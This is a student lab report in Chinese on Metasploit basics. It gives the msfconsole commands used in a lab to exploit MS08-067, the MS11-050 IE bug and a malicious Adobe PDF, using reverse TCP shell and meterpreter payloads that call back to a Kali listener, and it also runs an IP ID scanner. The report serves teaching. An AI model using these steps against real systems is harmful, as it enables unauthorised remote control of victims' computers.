20155338 《网络攻防》Exp5 MSF基础应用

20155338 《网络攻防》Exp5 MSF基础应用

基础问题回答

1、 用自己的话解释什么是exploit,payload,encode?

  • exploit将真正要负责攻击的代码传送到靶机中,相当于载具
  • payload负责执行相应的攻击代码,相当于载荷
  • encode是伪装,为了避免payload中坏字符影响功能,相当于编码

实验过程

Windows服务渗透攻击——MS08-067安全漏洞
  • 攻击机:kali,ip:172.30.6.185
  • 靶机:windows XP SP3,IP地址是172.30.7.99

  • msfconsole进入msf,再用search ms08_067查询一下针对该漏洞的攻击模块:
    1071544-20180429115943208-622870405.png

  • use exploit/windows/smb/ms08_067_netapi使用该模块,并用show targets查看可以被攻击的靶机的操作系统型号:

1071544-20180429115950681-1670178772.png

  • show payloads查看可以供我们使用的攻击载:
    1071544-20180429120000313-562079003.png

  • 从中找到一个可用的攻击载荷generic/shell_reverse_tcp,用set payload generic/shell_reverse_tcp设置payload:

1071544-20180429120010034-1720991562.png

  • show options查看需要设置的参数:

1071544-20180429120016686-2133840622.png

  • 这里需要设置RHOST(靶机IP)和LHOST(Kali的IP),使用set 需设置的参数名 参数值命令即可设置,并设置target选项目标(例如我攻击系统为WIN xp 中文简体 SP3,所以选择34)

1071544-20180429120025977-148950126.png

  • show options确认需要设置的参数是否已经设置好:

1071544-20180429120036116-503142214.png

  • 确认参数设置无误后,用exploit指令开始攻击:

1071544-20180429120043056-650934501.png

  • 攻击成功后会获取靶机的shell,可以对其进行操作:

1071544-20180429120050016-1611716115.png

针对浏览器的攻击:ms11_050
  • search ms11_050查询一下针对该漏洞的攻击模块,并用use windows/browser/ms11_050_mshtml_cobjectelement使用该模块:

1071544-20180429120058951-927902060.png

  • 用info查看该模块的相关信息

1071544-20180429120108153-1723116034.png

  • targets信息:

1071544-20180429120116964-1385389713.png

  • options信息:

1071544-20180429120125354-252677535.png

  • set payload windows/meterpreter/reverse_tcp设置payload,并设置需要设置的参数。

1071544-20180429120133866-702887155.png

  • show options确认需要设置的参数是否已经设置好:

1071544-20180429120142961-612270279.png

  • 确认参数设置无误后,用exploit指令开始攻击,攻击成功后会有靶机需要访问的网址:

1071544-20180429120151554-1873177608.png

  • 在靶机IE上输入该网址:

1071544-20180429120200150-374764215.png

  • kali中显示session已经创建,输入sessions -i 1,获取靶机的shell,可以对其进行操作

1071544-20180429120208758-500487703.jpg

针对客户端的攻击:adobe_toolbutton
  • search adobe查询一下针对该漏洞的攻击模块:

1071544-20180429120217616-1376739619.png

  • 选择一个模块并使用该模块:

1071544-20180429120225121-19531168.png

  • show targets查看可以被攻击的靶机的操作系统型号:

1071544-20180429120233963-905769765.png

  • 设置payload攻击载荷,命令set payload windows/meterpreter/reverse_tcp,设置相应参数,实施exploit攻击,发现在/root/.msf4/local/目录下成功生成了一个csj5338.pdf文件:

1071544-20180429120242802-859841539.png

1071544-20180429120250473-786294480.png

  • 将pdf文件粘贴到靶机win XP

1071544-20180429120258177-591493601.png

  • 在kali中和前几次实验一样打开并设置监听模块use exploit/multi/handlerset payload windows/meterpreter/reverse_tcp,再设置IP以及端口

1071544-20180429120305695-365599798.png

  • 在靶机上打开刚刚那个pdf文件,可以观察到Kali成功获取了靶机的shell,可以对其进行操作:

1071544-20180429120313147-1702183119.png

应用一个辅助模块:ipidseq
  • show auxiliary查看所有辅助模块,并选择其中的一个,选的是scanner/ip/ipidseq

1071544-20180429120321043-1746111418.png

1071544-20180429120328530-922745671.png

  • 查看需要设置的参数,设置完成后确认一下,这里可以进行对单一目标主机的扫描,然后就可以开始exploit了。

1071544-20180429120336530-2059741408.png

1071544-20180429120343237-1187949341.png

  • 也可以对指定网段的主机进行扫描:

1071544-20180429120351718-891567322.png

实验总结和收获

这次实验总体流程不算难,但在虚拟机上面我换了很多个,换了几个镜像,总算是用简体中文版成功了,学会了MSF工具的一些常用指令,也认识到在实际的渗透过程中,我们不能完全依靠msf来实现,漏洞也都是很早之前的漏洞,其实在现实生活中中攻击一台计算机还是有一定难度的。还是应该深入学习,加强自己的专业技能。

转载于:https://www.cnblogs.com/Hdywan/p/8970751.html

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值